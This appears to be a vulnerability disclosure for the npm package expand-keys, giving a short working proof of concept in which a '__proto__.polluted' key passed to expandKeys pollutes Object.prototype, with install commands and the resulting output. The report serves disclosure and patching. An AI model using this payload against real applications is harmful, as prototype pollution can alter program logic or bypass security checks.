Description

expand-keys is vulnerable to Prototype Pollution.

Proof of Concept

1. Create the following PoC file:

// poc.js
var {expandKeys} = require("expand-keys")
console.log("Before : " + {}.polluted);
expandKeys({"__proto__.polluted": "Yes! Its Polluted"})
console.log("After : " + {}.polluted);

2. Execute the following commands in terminal:

npm i expand-keys # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Before : undefined
After : Yes! Its Polluted